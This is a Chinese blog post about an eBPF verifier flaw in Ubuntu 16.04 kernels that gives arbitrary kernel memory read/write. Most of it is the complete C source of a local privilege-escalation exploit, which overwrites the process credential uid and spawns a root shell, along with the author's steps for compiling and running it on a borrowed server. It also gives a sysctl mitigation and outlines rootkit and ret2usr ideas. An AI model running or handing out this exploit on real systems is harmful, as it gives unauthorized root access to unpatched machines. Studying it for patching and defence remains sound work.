初探——内存读写内核达到提权

一时失言乱红尘 2022-05-29 06:57 177阅读 0赞

## 起因：一个Ubuntu 16.04 提权漏洞的修复 ##

### 漏洞概况： ###

这次的 `EXP` 在于Linux内核带有的eBPF bpf(2)系统调用中，当用户提供恶意BPF程序使eBPF验证器模块产生计算错误，导致任意内存读写问题。 非特权用户可以使用此漏洞获得权限提升。

### 漏洞重现 ###

自己有很多Centos的服务器，唯一一台Ubuntu的还是4.4.0 -117的，所以向朋友借了一台服务器，刚刚好是4.3.0的，就拿他当小白鼠吧。

1。先创建一个用我名字命名的普通用户  
![这里写图片描述][Image 1]

2。把我事先准备好的exp代码scp到朋友的服务器上来

scp upstream44.c root@47.96.181.165:/tmp
    gcc -o powned upstream44.c
    powned

![这里写图片描述][Image 1]

3。 再次查看id  
![这里写图片描述][Image 1]

对比root用户  
![这里写图片描述][Image 1]

可以看到已经提权成功了！

### 漏洞解决 ###

1 这里利用的是bpf模块，可以禁用来达到防止漏洞

# 两种方式修改内核bpf参数
    # 1 echo 合理的参数 比如 1 
    echo 1 > /proc/sys/kernel/unprivileged_bpf_disabled
    # 2 sysctl
    sysctl -w kernel/unprivileged_bpf_disabled=1
    
    kernel.unprivileged_bpf_disabled = 1

## 提权代码 ##

/*
     * Ubuntu 16.04.4 kernel priv esc
     *
     * all credits to @bleidl
     * - vnik
     */
    
    // Tested on:
    // 4.4.0-116-generic #140-Ubuntu SMP Mon Feb 12 21:23:04 UTC 2018 x86_64
    // if different kernel adjust CRED offset + check kernel stack size
    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <fcntl.h>
    #include <string.h>
    #include <linux/bpf.h>
    #include <linux/unistd.h>
    #include <sys/mman.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <sys/un.h>
    #include <sys/stat.h>
    #include <stdint.h>
    
    #define PHYS_OFFSET 0xffff880000000000   //低于这个地址都是用户内存，高于是内核空间
    #define CRED_OFFSET 0x5f8
    #define UID_OFFSET 4
    #define LOG_BUF_SIZE 65536   //64KB  2的16次方
    #define PROGSIZE 328
    
    int sockets[2];
    int mapfd, progfd;
    
    char *__prog =  "\xb4\x09\x00\x00\xff\xff\xff\xff"
            "\x55\x09\x02\x00\xff\xff\xff\xff"
            "\xb7\x00\x00\x00\x00\x00\x00\x00"
            "\x95\x00\x00\x00\x00\x00\x00\x00"
            "\x18\x19\x00\x00\x03\x00\x00\x00"
            "\x00\x00\x00\x00\x00\x00\x00\x00"
            "\xbf\x91\x00\x00\x00\x00\x00\x00"
            "\xbf\xa2\x00\x00\x00\x00\x00\x00"
            "\x07\x02\x00\x00\xfc\xff\xff\xff"
            "\x62\x0a\xfc\xff\x00\x00\x00\x00"
            "\x85\x00\x00\x00\x01\x00\x00\x00"
            "\x55\x00\x01\x00\x00\x00\x00\x00"
            "\x95\x00\x00\x00\x00\x00\x00\x00"
            "\x79\x06\x00\x00\x00\x00\x00\x00"
            "\xbf\x91\x00\x00\x00\x00\x00\x00"
            "\xbf\xa2\x00\x00\x00\x00\x00\x00"
            "\x07\x02\x00\x00\xfc\xff\xff\xff"
            "\x62\x0a\xfc\xff\x01\x00\x00\x00"
            "\x85\x00\x00\x00\x01\x00\x00\x00"
            "\x55\x00\x01\x00\x00\x00\x00\x00"
            "\x95\x00\x00\x00\x00\x00\x00\x00"
            "\x79\x07\x00\x00\x00\x00\x00\x00"
            "\xbf\x91\x00\x00\x00\x00\x00\x00"
            "\xbf\xa2\x00\x00\x00\x00\x00\x00"
            "\x07\x02\x00\x00\xfc\xff\xff\xff"
            "\x62\x0a\xfc\xff\x02\x00\x00\x00"
            "\x85\x00\x00\x00\x01\x00\x00\x00"
            "\x55\x00\x01\x00\x00\x00\x00\x00"
            "\x95\x00\x00\x00\x00\x00\x00\x00"
            "\x79\x08\x00\x00\x00\x00\x00\x00"
            "\xbf\x02\x00\x00\x00\x00\x00\x00"
            "\xb7\x00\x00\x00\x00\x00\x00\x00"
            "\x55\x06\x03\x00\x00\x00\x00\x00"
            "\x79\x73\x00\x00\x00\x00\x00\x00"
            "\x7b\x32\x00\x00\x00\x00\x00\x00"
            "\x95\x00\x00\x00\x00\x00\x00\x00"
            "\x55\x06\x02\x00\x01\x00\x00\x00"
            "\x7b\xa2\x00\x00\x00\x00\x00\x00"
            "\x95\x00\x00\x00\x00\x00\x00\x00"
            "\x7b\x87\x00\x00\x00\x00\x00\x00"
            "\x95\x00\x00\x00\x00\x00\x00\x00";
    
    char bpf_log_buf[LOG_BUF_SIZE];
    
    static int bpf_prog_load(enum bpf_prog_type prog_type,
              const struct bpf_insn *insns, int prog_len,
              const char *license, int kern_version) { 
        union bpf_attr attr = { 
            .prog_type = prog_type,
            .insns = (__u64)insns,
            .insn_cnt = prog_len / sizeof(struct bpf_insn),
            .license = (__u64)license,
            .log_buf = (__u64)bpf_log_buf,
            .log_size = LOG_BUF_SIZE,
            .log_level = 1,
        };
    
        attr.kern_version = kern_version;
    
        bpf_log_buf[0] = 0;
    
        return syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr));
    }
    
    static int bpf_create_map(enum bpf_map_type map_type, int key_size, int value_size,
               int max_entries) { 
        union bpf_attr attr = { 
            .map_type = map_type,
            .key_size = key_size,
            .value_size = value_size,
            .max_entries = max_entries
        };
    
        return syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr));
    }
    
    static int bpf_update_elem(uint64_t key, uint64_t value) { 
        union bpf_attr attr = { 
            .map_fd = mapfd,
            .key = (__u64)&key,
            .value = (__u64)&value,
            .flags = 0,
        };
    
        return syscall(__NR_bpf, BPF_MAP_UPDATE_ELEM, &attr, sizeof(attr));
    }
    
    static int bpf_lookup_elem(void *key, void *value) { 
        union bpf_attr attr = { 
            .map_fd = mapfd,
            .key = (__u64)key,
            .value = (__u64)value,
        };
    
        return syscall(__NR_bpf, BPF_MAP_LOOKUP_ELEM, &attr, sizeof(attr));
    }
    
    static void __exit(char *err) { 
        fprintf(stderr, "error: %s\n", err);
        exit(-1);
    }
    
    static void prep(void) { 
        mapfd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(long long), 3);
        if (mapfd < 0)
            __exit(strerror(errno));
    
        progfd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER,
                (struct bpf_insn *)__prog, PROGSIZE, "GPL", 0);
    
        if (progfd < 0)
            __exit(strerror(errno));
    
        if(socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets))
            __exit(strerror(errno));
    
        if(setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)) < 0)
            __exit(strerror(errno));
    }
    
    static void writemsg(void) { 
        char buffer[64];
    
        ssize_t n = write(sockets[0], buffer, sizeof(buffer));
    
        if (n < 0) { 
            perror("write");
            return;
        }
        if (n != sizeof(buffer))
            fprintf(stderr, "short write: %lu\n", n);
    }
    
    #define __update_elem(a, b, c) \     bpf_update_elem(0, (a)); \     bpf_update_elem(1, (b)); \     bpf_update_elem(2, (c)); \     writemsg();
    
    static uint64_t get_value(int key) { 
        uint64_t value;
    
        if (bpf_lookup_elem(&key, &value))
            __exit(strerror(errno));
    
        return value;
    }
    
    static uint64_t __get_fp(void) { 
        __update_elem(1, 0, 0);
    
        return get_value(2);
    }
    
    static uint64_t __read(uint64_t addr) { 
        __update_elem(0, addr, 0);
    
        return get_value(2);
    }
    
    static void __write(uint64_t addr, uint64_t val) { 
        __update_elem(2, addr, val);
    }
    
    static uint64_t get_sp(uint64_t addr) { 
        return addr & ~(0x4000 - 1);
    }
    
    static void pwn(void) { 
        uint64_t fp, sp, task_struct, credptr, uidptr;
    
        fp = __get_fp();
        if (fp < PHYS_OFFSET)
            __exit("bogus fp");
    
        sp = get_sp(fp);
        if (sp < PHYS_OFFSET)
            __exit("bogus sp");
    
        task_struct = __read(sp);
    
        if (task_struct < PHYS_OFFSET)
            __exit("bogus task ptr");
    
        printf("task_struct = %lx\n", task_struct);
    
        credptr = __read(task_struct + CRED_OFFSET); // cred
    
        if (credptr < PHYS_OFFSET)
            __exit("bogus cred ptr");
    
        uidptr = credptr + UID_OFFSET; // uid
        if (uidptr < PHYS_OFFSET)
            __exit("bogus uid ptr");
    
        printf("uidptr = %lx\n", uidptr);
        __write(uidptr, 0); // set both uid and gid to 0
    
        if (getuid() == 0) { 
            printf("spawning root shell\n");
            system("/bin/bash");
            exit(0);
        }
    
        __exit("not vulnerable?");
    }
    
    int main(int argc, char **argv) { 
        prep();
        pwn();
    
        return 0;
    }

## 内存读写内核达到提权的原理 ##

### 本文用到的原理介绍 ###

攻击者首先在进程用户空间植入提权代码，并且正常情况下内核函数指针指向内核空间的内核代码。利用写任意内存模式内核漏洞，修改函数指针，使得修改后的指针指向用户空间的提权代码，当攻击程序陷入到内核中执行到修改后的函数时，就将内核执行控制流引导至用户空间提权代码，将权限提权。

### 提权流程图 ###

![这里写图片描述][Image 1]

## 扩展 ##

### 更高级的内核提权方式，无视权限 ###

> 提权的方式有很多, 比如有个内核态的C程序写的不好断链了，我要是黑客咋利用呢？ 我可以写个用户态测程序想办法“覆盖”断掉的那部分的内存中的数据，然后再把链表指针指回去, 修复链表. 当内核模块执行到这个链表的时候就会正常调用下去了啊, 这时候他执行到我覆盖的恶意数据（比如是一条jmp指令），他就会继续跳转到我想让他跳的地方执行了啊, 而且这时候也是内核态执行的, 内核态执行啥概念，无视所有程序直接hook系统调用啊，就连uid校验那段程序都被无视掉了（因为他也依赖于系统调用嘛）。, 这招有个学名“linux rootkit”技术.——–李梓羿

### 关键词 ###

ROP技术、ret2usr技术、kernel\_setsockopt函数set\_fs绕过、VDSO一类的关键词

### 参考 ###

1。《Linux 内核提权攻击研究》 ——左玉丹，丁滟，魏立峰 （国防科学技术大学计算机学院，湖南，长沙 410073）  
2。 [Linux提权基础介绍 。http://www.xmsec.cc/guide-linux-privilege-escalation][Linux_ _http_www.xmsec.cc_guide-linux-privilege-escalation]

[Image 1]: 
[Linux_ _http_www.xmsec.cc_guide-linux-privilege-escalation]: http://www.xmsec.cc/guide-linux-privilege-escalation/